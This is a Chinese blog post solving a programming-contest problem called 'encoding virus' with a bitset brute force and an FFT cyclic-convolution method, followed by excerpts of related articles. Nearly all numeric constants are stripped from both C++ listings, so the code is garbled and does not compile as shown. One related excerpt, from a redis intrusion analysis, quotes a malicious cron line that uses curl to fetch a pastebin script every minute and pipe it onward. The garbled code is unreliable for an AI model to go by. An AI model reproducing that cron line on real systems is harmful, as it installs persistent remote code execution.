[Nescafé41]编码病毒(循环卷积)
题意看起来好麻烦实际上很简单,首先4s可以先bitset暴力一下,听说卡卡就能过:$O(2^{22}+n^2/32)$
- #include<cstdio>
- #include<bitset>
- #include<cstring>
- #include<algorithm>
- #define rep(i,l,r) for (int i=l; i<=r; i++)
- using namespace std;
- const int N=,inf=0x3f3f3f3f;
- bitset<N>data,test;
- int n,m,ans,cost[N],cnt[];
- char s[N];
- int main(){
- freopen("virus.in","r",stdin);
- freopen("virus.out","w",stdout);
- scanf("%d%d",&m,&n); int t=(<<m)-; ans=inf;
- memset(cost,0x3f,sizeof(cost)); cost[]=;
- rep(i,,t){
- cnt[i]=cnt[i>>]+(i&);
- cost[i%n]=min(cost[i%n],cnt[i]+);
- cost[((n-i)%n+n)%n]=min(cost[((n-i)%n+n)%n],cnt[i]);
- }
- scanf("%s",s); rep(i,,n) data[i]=s[i]=='';
- scanf("%s",s); rep(i,,n) test[i]=s[i]=='';
- for (int i=; i<n; i++){
- if (i) { int j=data[]; data>>=; data[n-]=j; }
- int j=(data^test).count();
- ans=min(ans,min(j,n-j+)+cost[i]);
- }
- printf("%d\n",ans);
- return ;
- }
然后我们观察一下我们的这个暴力到底在做什么事情,发现后面的主循环实际上就是一个类似循环卷积的问题,我们要把它变成真正的卷积。
观察异或真值表:
0 0 0
0 1 1
1 0 1
1 1 0
我们变换一下:把a中0位上的值变成-1,1位上的值变成1,b中相反,于是就有:
0 0 1
0 1 -1
1 0 -1
1 1 1
最后我们将所有结果加1,再除以2,就变成上面的那个表了,这就成功将循环异或变成了循环卷积,直接做即可。
- #include<cmath>
- #include<cstdio>
- #include<complex>
- #include<cstring>
- #include<algorithm>
- #define rep(i,l,r) for (int i=l; i<=r; i++)
- using namespace std;
- typedef complex<double> C;
- const int N=,inf=0x3f3f3f3f;
- const double pi=acos(-.);
- char s[N];
- int n,m,k,ans,cost[N],rev[N],cnt[],data[N],test[N],c[N];
- C a[N],b[N];
- void DFT(C a[],int n,int f){
- for (int i=; i<n; i++) if (i<rev[i]) swap(a[i],a[rev[i]]);
- for (int i=; i<n; i<<=){
- C wn=C(cos(pi/i),f*sin(pi/i));
- for (int p=i<<,j=; j<n; j+=p){
- C w=C(,);
- for (int k=; k<i; k++,w=w*wn){
- C x=a[j+k],y=a[i+j+k]*w; a[j+k]=x+y; a[i+j+k]=x-y;
- }
- }
- }
- if (f==-) for (int i=; i<n; i++) a[i].real()/=n;
- }
- void mul(int test[],int data[],int res[],int m){
- int n,L=;
- for (n=; n<=m; n<<=) L++;
- for (int i=; i<n; i++) rev[i]=(rev[i>>]>>)|((i&)<<(L-));
- for (int i=; i<n; i++) a[i]=C((double)test[i],),b[i]=C((double)data[i],);
- DFT(a,n,); DFT(b,n,); for (int i=; i<n; i++) a[i]=a[i]*b[i]; DFT(a,n,-);
- m/=; for (int i=; i<m; i++) res[i]=int(a[i+m-].real()+0.5);
- }
- int main(){
- freopen("virus.in","r",stdin);
- freopen("virus.out","w",stdout);
- scanf("%d%d",&m,&n); int t=(<<m)-; ans=inf;
- memset(cost,0x3f,sizeof(cost)); cost[]=;
- rep(i,,t){
- cnt[i]=cnt[i>>]+(i&);
- cost[i%n]=min(cost[i%n],cnt[i]+);
- cost[((n-i)%n+n)%n]=min(cost[((n-i)%n+n)%n],cnt[i]);
- }
- scanf("%s",s); for (int i=; i<n; i++) data[i]=data[i+n]=((s[i]=='')?:-);
- scanf("%s",s); for (int i=; i<n; i++) test[n-i-]=((s[i]=='')?:-);
- mul(test,data,c,*n);
- for (int i=; i<n; i++) k=(c[i]+n)>>,ans=min(ans,cost[i]+min(k+,n-k));
- printf("%d\n",ans);
- return ;
- }
[Nescafé41]编码病毒(循环卷积)的更多相关文章
- AHOI2018训练日程(3.10~4.12)
(总计:共90题) 3.10~3.16:17题 3.17~3.23:6题 3.24~3.30:17题 3.31~4.6:21题 4.7~4.12:29题 ZJOI&&FJOI(6题) ...
- 病毒四度升级:安天AVL Team揭露一例跨期两年的电信诈骗进化史
自2014年9月起,安天AVL移动安全团队持续检测到一类基于Android移动平台的间谍类病毒,病毒样本大多伪装成名为"最高人民检察院"的应用.经过反编译逆向分析以及长期的跟踪调查 ...
- Atitit.木马病毒自动启动-------------win7计划任务的管理
Atitit.木马病毒自动启动-------------win7计划任务的管理 1. 计划任务的Windows系统中取代AT 的schtasks命令1 2. Win本身的系统计划任务列表1 2.1. ...
- Atitit.病毒木马的快速扩散机制原理nio 内存映射MappedByteBuffer
Atitit.病毒木马的快速扩散机制原理nio 内存映射MappedByteBuffer 1. Java NIO(New Input/Output)1 1.1. 变更通知(因为每个事件都需要一个监听者 ...
- html-----018----HTML Web Server/HTML URL 字符编码
HTML Web Server 如果希望向世界发布您的网站,那么您必须把它存放在 web 服务器上. 托管自己的网站 在自己的服务器上托管网站始终是一个选项.有几点需要考虑: 硬件支出 如果要运行“真 ...
- 基于Linux系统的病毒
虽然在Linux里传播的病毒不多,但也是存在一些,我从一些安全网站搜集了一些资料. 1.病毒名称: Linux.Slapper.Worm 类别: 蠕虫 病毒资料: 感染系统:Linux 不受影响系统: ...
- 安全威胁无孔不入:基于Linux系统的病毒(转)
虽然在Linux里传播的病毒不多,但也是存在一些.我从一些安全网站搜集了一些资料. 1.病毒名称: Linux.Slapper.Worm 类别: 蠕虫 病毒资料: 感染系统:Linux 不受影响系统: ...
- [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告
Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...
- 记一次redis病毒分析笔记
起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...
随机推荐
- javascript 变量类型判断
一.typeof 操作符 对于Function, String, Number ,Undefined 等几种类型的对象来说,他完全可以胜任,但是为Array时 "); typeof arr ...
- 制作Solaris系统的USB启动盘
制作方法: 1. wget http://192.168.2.5/surefiler-installer/2011-12-09/devel-2011.12.9.tgz 2. cd /root tar ...
- Linux简介——(一)
1. 常见操作系统 - 服务端操作系统 : linux.unix.windows server - 单机操作系统 : windows(dos .ucdos.win95.win98.win2000.xp ...
- Java多线程学习(五)线程间通信知识点补充
系列文章传送门: Java多线程学习(二)synchronized关键字(1) Java多线程学习(二)synchronized关键字(2) Java多线程学习(三)volatile关键字 Java多 ...
- LINUX-内核-中断分析-中断向量表(3)-arm【转】
转自:http://blog.csdn.net/haolianglh/article/details/51986987 arm中断概念 在<ARM体系结构与编程>第9章中说到,ARM 中有 ...
- 安全测试===appscan扫描工具介绍
IBM AppScan该产品是一个领先的 Web 应用安全测试工具,曾以 Watchfire AppScan 的名称享誉业界.Rational AppScan 可自动化 Web 应用的安全漏洞评估工作 ...
- 判断cookie创建的时间是否已经24小时
def read_cookie(self): cookiesfilepath="cookies%s" % self.uid if os.path.exists(cookiesfil ...
- swiper 滑动插件,小屏单个显示滑动,大屏全部显示
var currSwiperIndex=0; function widthHandle(){ var level = widthLevel(); if(level==1){ //单个显示,滑动 if( ...
- Leetcode 之Length of Last Word(38)
做法很巧妙.分成左右两个对应的部分,遇到左半部分则入栈,遇到右半部分则判断对应的左半部分是否在栈顶.注意最后要判断堆栈是否为空. bool isValid(const string& s) { ...
- Hive分组取第一条记录
需求 交易系统,财务要求维护每个用户首个交易完成的订单数据(首单表,可取每个用户交易完成时间最老的订单数据).举例: 简写版的表结构: 表数据: 则 财务希望汇总记录如下: uid order_id ...